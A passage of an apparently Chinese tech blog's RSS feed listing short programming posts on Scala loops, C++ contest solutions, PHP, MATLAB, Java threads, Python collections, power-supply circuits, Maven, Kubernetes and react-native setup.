      <description>package cn.edu.jxnu.leetcode.scala import util.control.Breaks._ /** * Java是指令式风格，Scala是函数式风格。 * 在Scala中，应该尽量适用循环，而是应用函数的方式来处理。 * Scala并没有提供break和continue语句来退出循环，那么如果我们又确实要怎么办呢，有如下几个选项： * 1. 使用Boolean型的控制变量。 * 2. 使用嵌套函数，从函数当中return * 3. 使用Breaks对象中的break方法(这里的控制权转移是通过抛出和捕获异常完成的，尽量避免使用这套机制) * 4. 递归函数重写循环 */ object ScalaLoopOps{ def main(args: Array[String]) = { val list = List(21, 214, -4352, 65436, 7534) breakTest1(list) breakTest2(list) contniueTest1(list) continueTest2(list) continueTest3(list) } def breakTest1(list: List[Int]) = { println(&#34;breakable语句块来实现break操作&#34;) breakable { for (elem &amp;lt;- list) if (elem &amp;lt; 0) break else println(elem) } } def breakTest2(list: List[Int]) = { println(&#34;</description>
    </item>
    <item>
      <title>数字游戏2</title>
      <link>https://bchobby.github.io/posts/3c84b69cdf05acb1614852ad030e93d5/</link>
      <pubDate>Thu, 19 Jul 2018 17:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c84b69cdf05acb1614852ad030e93d5/</guid>
      <description> 题目描述 给定一个任意大小的非负整数N，求出1~N的整数中1出现的次数&#xA;例如1~13中1出现了6次(1,10,11,12,13)。&#xA;输入描述 一共有T组测试数据。&#xA;第一行输入一个T，代表T组测试数据。&#xA;接来下为Ｔ行，每行输入一个整数N，1&amp;lt;N&amp;lt;=100000000。&#xA;输出描述 输出为T行，每行对于对应的N，输出1到N中1出现的总个数。&#xA;输入样例 2 13 20 输出样例 6 12 AC代码如下：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;cstdio&amp;gt; using namespace std; int count2(int n) { int count = 0; int factor = 1; int lower = 0; int higher = 0; int curr =0; while(n/factor != 0) { lower = n - n/factor*factor; curr = (n/factor)%10; higher = n/(factor*10); switch(curr) { case 0: count += higher * factor; break; case 1: count += higher * factor + lower + 1; break; default: count += (higher+1)*factor; } factor *= 10; } return count; } int main(int argc, char** argv) { int t; cin&amp;gt;&amp;gt;t; while(t--) { int n; cin&amp;gt;&amp;gt;n; int ans=count2(n); cout&amp;lt;&amp;lt;ans&amp;lt;&amp;lt;endl; } return 0; } </description>
    </item>
    <item>
      <title>排序</title>
      <link>https://bchobby.github.io/posts/c360e994dbcffdf31e86d2d8875370e1/</link>
      <pubDate>Thu, 19 Jul 2018 17:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c360e994dbcffdf31e86d2d8875370e1/</guid>
      <description> 题目描述 有一个N个数的数组，想要将数组从小到大排好序，但是只允许下面这个操作：&#xA;任取数组中的一个数然后将它放置在数组的最后一个位置。&#xA;求最少操作多少次可以使得数组从小到大有序。&#xA;输入描述 一共有T组测试数据。&#xA;第一行输入一个整数T（T＜=100），表示测试数据的组数。&#xA;每组测试数据第一行输入一个正整数N，第二行输入N个整数。(N &amp;lt;= 50, 每个数的绝对值小于等于1000)&#xA;输出描述 对于每组测试数据，输出一个整数表示最少的操作次数。&#xA;输入样例 3 4 19 7 8 25 6 6 1 7 2 5 4 6 5 2 4 3 1 6 输出样例 2 3 5 AC代码如下：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; #include &amp;lt;cstdio&amp;gt; using namespace std; int a[51]; int b[10000+51]; int main(int argc, char** argv) { int t; cin&amp;gt;&amp;gt;t; while(t--) { int n; cin&amp;gt;&amp;gt;n; int ans=n-1; for(int i=0;i&amp;lt;n;i++) { cin&amp;gt;&amp;gt;a[i]; b[a[i]+10000]=i; } sort(a,a+n); for(int i=0;i&amp;lt;n-1;i++) { if(b[a[i]+10000]&amp;lt;=b[a[i+1]+10000]) { ans--; } else { break; } } cout&amp;lt;&amp;lt;ans&amp;lt;&amp;lt;endl; } return 0; } </description>
    </item>
    <item>
      <title>Unity文件解析</title>
      <link>https://bchobby.github.io/posts/87ad2db40faf44fd29a795766a3fd438/</link>
      <pubDate>Thu, 19 Jul 2018 16:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87ad2db40faf44fd29a795766a3fd438/</guid>
      <description>Unity项目中Assets目录下常见的文件类型&#xA;1.资源文件 2.代码文件 3.序列化文件 4.文本文档 5.非序列文件 6.Meat文件&#xA;资源文件值一些创建好不能修改的文件。比如FBX文件 ，贴图文件 ，音频文件 ，视频文件 ，动画文件等 这些文件在导入unity中都会再导入时进行转化，每一个类型对应着一个AsssetImporter,比如ModelImporter,AudioImporter,TextureImporter等&#xA;代码文件 包括所有的代码文件，代码库文件，Shader文件等在导入时，unity会进行一次编译&#xA;序列化文件 通常指unity能够序列化的文件，一边是unity自身的类型prefab，mat，unity3d等 这些文件能在运行时直接反序列化成对应类的一个实例&#xA;文本文档 unity能够识别成TextAsset 比如txt xml&#xA;非序列文件&#xA;meta文件主要有两个作用&#xA;1.定义在他同目录下，同名的非mate文件的唯一id：guid 对于unity的序列化文件来说，引用的对象就是这个guid&#xA;2.存储资源文件的importsetting属性 每次修改导入设置都会修改mate文件&#xA;Mate文件详解&#xA;由于mate文件的重要性 先来看一下mate文件的数据结构。mate文件实质上是一个文本文档采用YAML的格式书写。unity序列化的文件都是采用这种格式书写的&#xA;fileFormatVersion: 2 guid: 775866e3b54d59e4980effb0aac22008 timeCreated: 1467775326 licenseType: Pro TextureImporter: fileIDToRecycleName: {} serializedVersion: 2 mipmaps: mipMapMode: 0 enableMipMap: 0 linearTexture: 0 correctGamma: 0 fadeOut: 0 borderMipMap: 0 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: 0.25 normalMapFilter: 0 isReadable: 0 grayScaleToAlpha: 0 generateCubemap: 0 cubemapConvolution: 0 cubemapConvolutionSteps: 7 cubemapConvolutionExponent: 1.</description>
    </item>
    <item>
      <title>str_replace替换多个字符串</title>
      <link>https://bchobby.github.io/posts/88cdc535ab0217ef25f203cc769b047e/</link>
      <pubDate>Wed, 18 Jul 2018 16:45:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88cdc535ab0217ef25f203cc769b047e/</guid>
      <description>str_replace替换字符串 $str = &#39;abcde&#39;; str_replace(&#39;a&#39;, &#39;c&#39;, $str); ‘a’ =&amp;gt; ‘c’&#xA;==========================================&#xA;$str = &#39;12345sdfasdf&#39;; str_replace([&#39;a&#39;, &#39;b&#39;], &#39;c&#39;, $str); ‘a’ =&amp;gt; ‘c’ ‘b’ =&amp;gt; ‘c’&#xA;==========================================&#xA;$str = &#39;dfgsdafgbsdfg&#39;; str_replace([&#39;a&#39;, &#39;b&#39;], [&#39;c&#39;, &#39;d&#39;], $str); ‘a’ =&amp;gt; ‘c’ ‘b’ =&amp;gt; ‘d’</description>
    </item>
    <item>
      <title>matlab手动指定坐标轴位置和标签</title>
      <link>https://bchobby.github.io/posts/7f285a5068f25c8e9e2cb5dd36da0d34/</link>
      <pubDate>Wed, 18 Jul 2018 12:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f285a5068f25c8e9e2cb5dd36da0d34/</guid>
      <description>方法一：set(gca, &#39;XTick&#39;,[-3*pi -2*pi -pi 0 pi 2*pi 3*pi], &#39;XTickLabel&#39;, {&#39;-3\pi&#39;,&#39;-2\pi&#39;,&#39;-\pi&#39;,&#39;0&#39;,&#39;\pi&#39;,&#39;2\pi&#39;,&#39;3\pi&#39;});&#xA;方法二：ax = gca; ax.XTickLabel={&#39;-8\pi&#39;,&#39;-2\pi&#39;,&#39;-\pi&#39;,&#39;0&#39;,&#39;\pi&#39;,&#39;2\pi&#39;,&#39;3\pi&#39;};</description>
    </item>
    <item>
      <title>java-创建一个线程，在控制台不断输出当前时间，精确到时分秒，每隔一秒输出一次。</title>
      <link>https://bchobby.github.io/posts/8c951553a4939b9dbdc967fe3fb1f3b3/</link>
      <pubDate>Wed, 18 Jul 2018 09:34:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c951553a4939b9dbdc967fe3fb1f3b3/</guid>
      <description>对其实现的一个方法是： 采用继承Thread类 重写run方法。&#xA;import java.text.SimpleDateFormat; import java.util.Date; /** * 创建一个线程，在控制台不断输出当前时间，精确到时分秒，每隔一秒输出一次。 * * @author 三一 * * @time 2018-7-18 * */ public class test { public static void main(String[] args) { Thread thread = new MyThread(); thread.start(); } } // 通过继承Thread类 来重写run方法 class MyThread extends Thread { //通过正则式来设置输出的时间格式 SimpleDateFormat s = new SimpleDateFormat(&#34;yyyy年MM月dd日 HH:mm:ss&#34;); //重写run()方法 public void run() { while (true) { String str = s.format(new Date()); System.out.println(str); try { //间隔时间1秒 Thread.</description>
    </item>
    <item>
      <title>SQL数据库为什么要建立主外键关系</title>
      <link>https://bchobby.github.io/posts/b2ec0f9e7687a3081c3dd818b4b6f61f/</link>
      <pubDate>Tue, 17 Jul 2018 17:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2ec0f9e7687a3081c3dd818b4b6f61f/</guid>
      <description>例如数据库有两个表，一张员工基本信息表，一张员工工资表。外键的存在，是确保工资表的员与员工基本信息表中的员工相对应。如果没有外键约束，那么当你给员工工资表添加员工工资的时候可以不受到员工基本上信息表的约束，也就是说你可以添加任何人的工资信息（并不是来自本公司）。</description>
    </item>
    <item>
      <title>《C语言例程系列》-- 利用变量来定义数组长度</title>
      <link>https://bchobby.github.io/posts/f2817302ff1a2d8fb48a5bce7accf890/</link>
      <pubDate>Tue, 17 Jul 2018 15:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2817302ff1a2d8fb48a5bce7accf890/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; int main() { int n,i; printf(&#34;请输入字符的个数：&#34;); scanf(&#34;%d&#34;, &amp;amp;n); char a[n+1]; printf(&#34;请开始输入字符&#34;：); getchar(); for(i = 0; i &amp;lt; n; i++) { scanf(&#34;%c&#34;, &amp;amp;a[i]); } a[n] = &#39;\0&#39;; printf(&#34;你输入的字符串是：%s\n&#34;, a); return 0; } 本段程序首先输入n值，输入后利用变量n来定义数组长度。该种用法在C99标准中提出，编译器可以使用。 同时要注意两个scanf()之间要加入一个getchar()，将换行符’\n’从缓存器中清除，避免数据替代。</description>
    </item>
    <item>
      <title>《C语言语法知识》-- &#43;&#43;i与i&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/0205236d1d9de6dc673916b4db4fdc9e/</link>
      <pubDate>Tue, 17 Jul 2018 10:09:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0205236d1d9de6dc673916b4db4fdc9e/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; int main() { int i =5, j; j = ++i; printf(&#34;i = %d, j = %d\n&#34;, i, j); i = 5; j = i++; printf(&#34;i = %d, j = %d\n&#34;, i, j); return 0; } 以上程序运行结果为i = 6, j = 6 i =6, j = 5。 由此我们可以看出，++i是先执行完i的自加1，再使用i的值。 而i++则是先使用i的值，再执行i的自加1。</description>
    </item>
    <item>
      <title>Python中list,tuple,dict,set的区别和用法</title>
      <link>https://bchobby.github.io/posts/3ecaf0f99ffb24cc51315e4bf9ace58d/</link>
      <pubDate>Tue, 17 Jul 2018 09:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ecaf0f99ffb24cc51315e4bf9ace58d/</guid>
      <description>Python提供多种数据类型来存放数据项集合，主要包括序列（列表list和元组tuple），映射（如字典dict），集合（set），下面对这几种数据类型分别介绍。&#xA;Python中list，tuple，dict和set的主要区别：&#xA;一句话来概括四种数据类型的区别是：tuple是一个不可改变的list，set是一个没有Value的dict，list和set的数据是可变的，tuple和dict的数据是不可变的！&#xA;list和set的数据可变的，tuple和dict的数据是不可变的。list是最自由的，可以使用索引、切片，可以进行计算和修改；tuple是不自由的，数据不能更改，但是和list一样具有序列，可以用索引和切片；dict是半自由的，自由体现在键值对的无序，可以通过key去索引value的值，不自由体现在数据操作只能通过key来实现，键值对是不可变类型；set是半自由的，自由体现在它通过list传值给它，数据类型是可变的，还可以改变list中的值，数据集是无序的，不重复的，可以进行计算，不自由体现在无法使用索引和切片准确定位。&#xA;1 .list&#xA;list是一个使用方括号括起来的有序元素集合;&#xA;List 可以作为以 0 下标开始的数组,任何一个非空 list 的第一个元素总是 L[0],负数索引从 list 的尾部开始向前计数来存取元素。任何一个非空的 list 最后一个元素总是 L[-1];&#xA;有分片功能，两个list可以相加；&#xA;append 向 list 的末尾追加单个元素；&#xA;insert 将单个元素插入到 list 中； extend 用来连接 list，使用一个 list 参数进行调用；&#xA;append 接受一个参数, 这个参数可以是任何数据类型, 并且简单地追加到 list 的尾部；&#xA;index 在 list 中查找一个值的首次出现并返回索引值；&#xA;要测试一个值是否在 list 内, 使用 in, 如果值存在, 它返回 True, 否则返为 False ；&#xA;remove 从 list 中删除一个值的首次出现；&#xA;pop 可以删除 list 的最后一个元素, 然后返回删除元素的值，用索引删除制定位置的值；&#xA;2.tuple&#xA;tuple是不可变的list，创建了一个tuple就不能以任何方式改变它；&#xA;定义tuple是将整个元素集是用小括号括起来，是有序集合；&#xA;tuple的索引与list一样从0开始,所以一个非空的tuple的第一个元素总是t[0]；&#xA;负数索引与 list 一样从 tuple 的尾部开始计数；</description>
    </item>
    <item>
      <title>Quartz1.8.6web项目延迟加载</title>
      <link>https://bchobby.github.io/posts/03b37c6231148ae062e5b66f60025599/</link>
      <pubDate>Mon, 16 Jul 2018 16:12:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b37c6231148ae062e5b66f60025599/</guid>
      <description>项目有一个新需求，需要定时执行某一作业。采用quartz1.8.6。由于项目模块多导致项目启动很慢。而定时作业的时间小于系统启动时间。这样导致在项目没有启动完成，作业就已经工作。部分类没有初始化。虽然使用try捕捉错误，保证系统能正常启动。但是本人有一点小小的强迫症。我想能不能规定作业延迟加载等系统启动成功后，再执行作业。在网上百度一下，都是讲的在spring的整合下延迟加载，可惜项目没有使用spring。完美的避开了所以的解决方案。研究的一下spring的延迟加载，是在scheduler类配置一个delay属性。所以就看quartz的web启动类。QuartzInitializerServlet。在类中有一个start-delay-seconds属性（单位是s）。&#xA;是设置quartz延迟加载的。&#xA;Web.xml配置</description>
    </item>
    <item>
      <title>pdm文件打开方式</title>
      <link>https://bchobby.github.io/posts/a95e24edaa72bd614eaaace7963c44d0/</link>
      <pubDate>Sun, 15 Jul 2018 12:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a95e24edaa72bd614eaaace7963c44d0/</guid>
      <description>转自：https://blog.csdn.net/qq_36855191/article/details/79299216&#xA;在这里分享一个很方便的网站，在线阅读pdm文件，打开这个网址放pdm文件进去，即可打开，十分方便快捷。&#xA;：http://www.dmanywhere.cn/&#xA;但功能还是不够强大，经常用到的兄弟还是应该下载powerdesigner，毕竟在线版的资源有限，所以功能很不完善。&#xA;网上有很多不错的安装破解教程&#xA;学习powerdesigner入门教程点击打开链接</description>
    </item>
    <item>
      <title>MATLAB图形绘制练习（四）</title>
      <link>https://bchobby.github.io/posts/3b8faa6222ceadfdc50a081636b7669b/</link>
      <pubDate>Sat, 14 Jul 2018 19:43:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b8faa6222ceadfdc50a081636b7669b/</guid>
      <description>三维曲线绘图命令&#xA;1.plot3命令：是plot命令的扩展。&#xA;二维三维图形绘制。&#xA;&amp;gt;&amp;gt; x=1:0.1:10; &amp;gt;&amp;gt; y=sin(x); &amp;gt;&amp;gt; z=cos(x); &amp;gt;&amp;gt; plot(y,z); &amp;gt;&amp;gt; plot3(x,y,z) 绘制空间线。&#xA;&amp;gt;&amp;gt; x=0:0.1:10; &amp;gt;&amp;gt; y=0:0.2:20; &amp;gt;&amp;gt; z=0:pi/100:pi; &amp;gt;&amp;gt; plot3(x,y,z) 2.ezplpt3命令：专门绘制符号函数的命令。&#xA;画出圆锥螺线的图像。&#xA;&amp;gt;&amp;gt; syms t &amp;gt;&amp;gt; x=t*cos(t); &amp;gt;&amp;gt; y=t*sin(t); &amp;gt;&amp;gt; z=t; &amp;gt;&amp;gt; ezplot3(x,y,z,[0,20*pi]) &amp;gt;&amp;gt; title(&#39;圆锥螺线&#39;) &amp;gt;&amp;gt; xlabel(&#39;tcos(t)&#39;) &amp;gt;&amp;gt; ylabel(&#39;tsin(t)&#39;) &amp;gt;&amp;gt; zlabel(&#39;t&#39;) 三维网格命令&#xA;1.mesh命令&#xA;2.ezmesh命令&#xA;三维曲面命令&#xA;1.surf命令&#xA;2.ezsurf命令&#xA;柱面与球面：cylinder与sphere</description>
    </item>
    <item>
      <title>简易测温电路课程设计报告</title>
      <link>https://bchobby.github.io/posts/7f8337fc40a76e4afc7dbff86ca2fe81/</link>
      <pubDate>Sat, 14 Jul 2018 10:13:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f8337fc40a76e4afc7dbff86ca2fe81/</guid>
      <description>“模电”课程设计任务书 简易测温电路 2018 年 01 月 15日&#xA;目录&#xA;1. 设计任务描述 ………………………………………………… - 1 -&#xA;1.1 设计任务 ………………………………………………… - 1 -&#xA;1.2 设计要求 ………………………………………………… - 1 -&#xA;1.3 设计目的 ………………………………………………… - 1 -&#xA;2. 设计思路 ………………………………………………… - 1 -&#xA;3. 设计框图 ………………………………………………… - 2 -&#xA;4. 各部分电路设计及原理分析 ………………………………… - 3 -&#xA;4.1 输出信号电路 ………………………………………… - 3 -&#xA;4.2 比较器 ……………………………………………… - 3 -&#xA;4.3 模拟电路图 ………………………………………… - 4 -&#xA;4.4 扩展模块 ……………………………………………… - 6 -</description>
    </item>
    <item>
      <title>电源</title>
      <link>https://bchobby.github.io/posts/e0dd5a2964c3d0cf1a969d1738a17832/</link>
      <pubDate>Fri, 13 Jul 2018 15:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0dd5a2964c3d0cf1a969d1738a17832/</guid>
      <description>1、隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路。&#xA;2、非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。&#xA;涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源；&#xA;开关电源“正激”与“反激”的工作原理 反激式：反激式开关电源是指使用反激高频变压器隔离输入输出回路的开关电源。“反激”指的是在开关管接通的情况下，当输入为高电平时输出线路中串联的电感为放电状态；相反，在开关管断开的情况下，当输入为高电平时输出线路中的串联的电感为充电状态。&#xA;工作原理： 变压器的一次和二次绕组的极性相反，这大概也是Flyback名字的由来： a.当开关管导通时，变压器原边电感电流开始上升，此时由于次级同名端的关系，输出二极管截止，变压器储存能量，负载由输出电容提供能量。 b.当开关管截止时，变压器原边电感感应电压反向，此时输出二极管导通，变压器中的能量经由输出二极管向负载供电，同时对电容充电，补充刚刚损失的能量。 反激电路的演变： 可以看作是隔离的Buck/Boost电路: 在反激电路中，输出变压器T除了实现电隔离和电压匹配之外，还有储存能量的作用，前者是变压器的属性，后者是电感的属性，因此有人称其为电感变压器，有时我也叫他异步电感。 正激电源&#xA;正激式变压器开关电源输出电压的瞬态控制特性和输出电压负载特性，相对来说比较好，因此，工作比较稳定，输出电压不容易产生抖动，在一些对输出电压参数要求比较高的场合，经常使用。&#xA;所谓正激式变压器开关电源，是指当变压器的初级线圈正在被直流电压激励时，变压器的次级线圈正好有功率输出。&#xA;单端正激式：&#xA;双管正激式：&#xA;由上三张图可知，反激的变压器可以看作一个带变压功能的电感，是一个buck-boost电路。正激的变压器是只有变压功能，整体可以看成一个带变压器的buck电路。二次侧接第一个整流二极管的负端接电解电容的是反击，接电感的是正激。&#xA;总地来说，正激反激工作原理不同，正激是初级工作次级也工作，次级不工作有续流电感续流，一般是CCM模式。功率因数一般不高，而且输入输出和变比占空比成比例。反激是初级工作，次级不工作，两边独立开来,一般DCM模式下，理论上是单位功率因数，但是变压器的电感会比较小，而且需要加气隙,所以一般适合中小功率情况.一般的电源书都会有具体的介绍和设计公式。&#xA;正激变压器是理想的，不储能，但是由于励磁电感（Lp）是有限值，励磁电流使得磁芯B会大，为避免磁通饱和，变压需要辅助绕组进行磁通复位；反激变压器工作形式可以看做耦合电感;电感先储能，再放能。由于反激变压器的输入、输出电压极性相反，固当开关管断开之后，次级可以提供磁芯一个复位电压，因而反激变压器不需额外增加磁通复位绕组。&#xA;主要区别&#xA;正激反激主要区别在高频变压器的工作方式不同但他们在同一象限上。正激是当变压器原边开关管导通时同时能量被传递到负载上，当开关管截止是变压器的能量要通过磁复位电路去磁。反激是和正激相反，当原边开关管导通时给变压器存储能量。但能量不会加在负载上，当开关管截止时，变压器的能量释放到负载侧。正激开关电源，后面多的那个二级管是续流二级管，一般输出部分还会多加一个储能电感，正激和反激最重要的区别是变压器初次级的相位是反相的。&#xA;最大区别&#xA;正激与反激的工作最大区别是，当开关管关断时，正激的输出主要靠储能电感和续流二级管来维持输出，而反激的输出主要靠变压器次级释放能量来维持输出。正激电路不宜做多路输出，正激电路要用脉宽调整做稳压必须在次极整流以后串电感，不然输出电压主要由输入决定，与脉宽影响不大，脉宽只影响输出纹波。如用正激电路做多路输出原理上存在的问题：如每路输出不用电感，那么对输入变化没有稳压作用，且没有开关电源应有的安全性。如果每路加电感：那么输出电压在理论上与负载大小有关，不参与反馈的回路就不正。&#xA;反激电路在原理上就适合多路输出稳压。反激电路首先储能，后把能量按各路的电压比率供应给每一路，先可以认为每路的输出比例是不变的（实际有误差看下面），按电流谁需要多给谁多的原则分配。&#xA;关于反馈&#xA;被反馈的这一路总是很准的因为就是按找他来反馈的，但反馈的一路一定要有一点负载。不然会加大输出各路间的不平衡。可以用多路加权来进行反馈，就可以使误差的矢量和为零，通俗点让误差在各路间均衡，哪路的权重大，哪路的精度就高。变压器遵守各个瞬态电压比等于线圈比，这是理解中用得最多的一个条件。&#xA;关于开关电源&#xA;正激式是开关管导通时变压器次级电路工作,反激式是开关管截止时变压器次级电路工作(开关截止，主级能量传递给次级，次级工作开关闭合，主级电感线圈存储能量)。 正激式开关电源输出必需有续流二极管而反激式没有（它们的变压器绕法也不一样。反激式变压器初次极工作时间相反而正激式初次极工作时间相同）正激跟反激相比最大的问题的用的器件更多，虽然好像没多几个，但都是必不可少，而且成本都是很高的。电路比反激式变压器开关电源多用一个大储能滤波电感，以及一个续流二极管。 正激式变压器开关电源输出电压受占空比的调制幅度，相对于反激式变压器开关电源来说要低很多，因此，正激式变压器开关电源要求调控占空比的误差信号幅度比较高，误差信号放大器的增益和动态范围也比较大。&#xA;正激式变压器开关电源为了减少变压器的励磁电流，提高工作效率，变压器的伏秒容量一般都取得比较大，并且为了防止变压器初级线圈产生的反电动势把开关管击穿，正激式变压器开关电源的变压器要比反激式变压器开关电源的变压器多一个反电动势吸收绕组，因此，正激式变压器开关电源的变压器的体积要比反激式变压器开关电源的变压器的体积大。&#xA;正激式变压器开关电源还有一个更大的缺点是在控制开关关断时，变压器初级线圈产生的反电动势电压要比反激式变压器开关电源产生的反电动势电压高。因为一般正激式变压器开关电源工作时，控制开关的占空比都取在0.5左右，而反激式变压器开关电源控制开关的占空比都取得比较小。&#xA;应用区别&#xA;正激式变压器不蓄积能量，只担负偶合传输,反激式变压器需把开通过程中的能量蓄积在本身，关断过程中再释放：正激式绕组同相位，反激式绕组反相；正激式变压器不用调节电感值，反激式需调节。正激式工作存在剩磁为防饱和需消磁电路，本身不蓄能需要蓄能线圈和续流二极管，反激式不用。&#xA;反激主要用在150-200瓦以下的情况，正激则用在150w到几百瓦之间。之所以反激更广范就是因为我们日常中100w以下的电源比较常见，应用比较常见，所以也就比较广泛啦。原理就是一个通过储能再通过变比进行变压的，一个是直接通过变比进行变压的。正激初级绕组同名端都是正极所以叫正激，反激一个在正，一个在负所以叫反激。&#xA;反激式可做小功率，成本低，调试相对简单些，所以在小功率电源中常用。它们的区别: 主变压器方面, 正激的需增加消磁绕组，当然也有的用增加两个二极管在主绕组进行消磁，无论如何正激电源必须增加消磁回路。反激不用增加输出储能电感，因为能量能储存在次级线圈中 ，正激须增加输出储能电感，且整流部分需增加续流二极管。&#xA;低成本电源&#xA;阻容降压&#xA;1uf电容提供72ma左右&#xA;一秒钟插拔100次也没问题&#xA;当然缺点还是那些缺点，带电，空载功耗大什么的是没得办法&#xA;优点就是成本低&#xA;其实除了rc降压，&#xA;原边反馈的acdc成本一样很低&#xA;近期有个小产品安全等级提高了，rc改为了ACDC，5v800ma&#xA;电路结构其实比rc不会复杂太多。&#xA;成本嘛，芯片5毛，变压器1块多。&#xA;带负载500ma时，输出纹波 小于50mVpp&#xA;输出后边加了一个π型滤波，阻抗按照50欧算的。</description>
    </item>
    <item>
      <title>maven 配置</title>
      <link>https://bchobby.github.io/posts/8b30e89ca1f274f5419ecf396437cd60/</link>
      <pubDate>Fri, 13 Jul 2018 14:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b30e89ca1f274f5419ecf396437cd60/</guid>
      <description>1. 百度搜索maven 官网下载最新版本&#xA;2. 配置环境变量 m2_home 到path&#xA;3. 配置maven conf settings.xml 文件&#xA;4. 在 settings.xml 文件内设置 localRespository, mirror , jdk&#xA;5. 下面是整个 settings.xml 文件&#xA;6. 配置完成 执行命令 mvn help:system 初始化&#xA;7. 配置idea 可以使用了 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.</description>
    </item>
    <item>
      <title>入门系列之Kubernetes部署</title>
      <link>https://bchobby.github.io/posts/3b16af3f132d1c2c1d4a3727cf33f889/</link>
      <pubDate>Fri, 13 Jul 2018 07:52:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b16af3f132d1c2c1d4a3727cf33f889/</guid>
      <description>欢迎大家前往腾讯云+社区，获取更多腾讯海量技术实践干货哦~&#xA;本文由林岑影 发表于云+社区专栏&#xA;容器实例服务（Container Instance Service , CIS）可以帮您在云上快捷、灵活的部署容器，让您专注于构建程序和使用容器而非管理设备上。无需预购 CVM，您就可以在几秒内启动一批容器来执行任务。您也可以通过 kubernetes API 把已有 kubernetes 集群的 pod 调度到 CIS 上以处理突增业务。CIS 根据您实际使用的资源计费，可以帮您节约计算成本。使用 CIS 可以极大降低您部署容器的门槛，降低您执行 batch 型任务或处理业务突增的成本。&#xA;本文将介绍Kubernetes部署和容器工作负载的相关内容。包含管理容器生命周期，部署多容器应用程序，扩展工作负载以及与Kubernetes进行协同工作。本文包括一些概念和命令，教大家快速入门Kubernetes，并入门CIS。&#xA;介绍 Kubernetes是一个用于管理容器化应用程序的开源容器资源编排工具。&#xA;本文中，您将应用一些容器化的概念来构建、部署和管理Kubernetes中端到端的微服务应用程序。本文中使用的示例Web应用程序是一个用Node.js编写的“待办事项列表”应用程序，它使用MongoDB作为数据库。&#xA;本次将从Dockerfile中为此应用程序构建容器镜像，将镜像推送到Docker Hub，然后部署到您的集群。以便在未来您将扩展应用程序以满足不断增长的需求。&#xA;准备 要完成本文，您需要：&#xA;Kubernetes集群，您可以参考腾讯云开发者实验室产品进行入门。用于存储镜像的Docker Hub帐户。在本地机器安装docker，您也可以参考腾讯云开发者实验室产品进行入门。 第一步，使用Dockerfile构建镜像 首先我们将通过Web应用打包到Docker镜像中。&#xA;首先切换到您的主目录，然后使用Git从GitHub上的克隆本文的示例Web应用程序。&#xA;cd ~ git clone https://github.com/janakiramm/todo-app.git 复制代码 从Dockerfile构建容器镜像。使用-t命令注册用户名，镜像名称和可选标记标记镜像。&#xA;docker build -t sammy/todo . 复制代码 确认镜像已成功构建并正确标记。&#xA;Sending build context to Docker daemon 8.238MB Step 1/7 : FROM node:slim ---&amp;gt; 286b1e0e7d3f Step 2/7 : LABEL maintainer = &#34;</description>
    </item>
    <item>
      <title>react-native 初始化项目报错 Error: Command failed: yarn add react-native --exact，解决方法！</title>
      <link>https://bchobby.github.io/posts/69f09dc39f0e0ca7d5e3a3ff8ae4330d/</link>
      <pubDate>Thu, 12 Jul 2018 18:09:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69f09dc39f0e0ca7d5e3a3ff8ae4330d/</guid>
      <description>今天在初始化react-native项目的时候，总是报错，发现是因为最新的react-native版本（0.56）和我本地的node版本不符合导致的，最新版本要求node 版本&amp;gt;=8。&#xA;…中间截图省略 我决定安装0.55.4版本的（之前安装这一版本是没问题的），如何安装react-native指定版本呢？ 首先：npm cache clean –force $ react-native init demo –version 0.55.4&#xA;还有另外一个参数：verbose，这个是用来在初始化的时候显示详情的，比如安装了什么模块，进度如何等等。&#xA;完整命令：$ react-native init demo –verbose –version 0.55.4</description>
    </item>
    <item>
      <title>python基础——基础错误总结及错误分析</title>
      <link>https://bchobby.github.io/posts/0dcefd20ff3b0c5387998675c5d59377/</link>
      <pubDate>Tue, 10 Jul 2018 20:56:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dcefd20ff3b0c5387998675c5d59377/</guid>
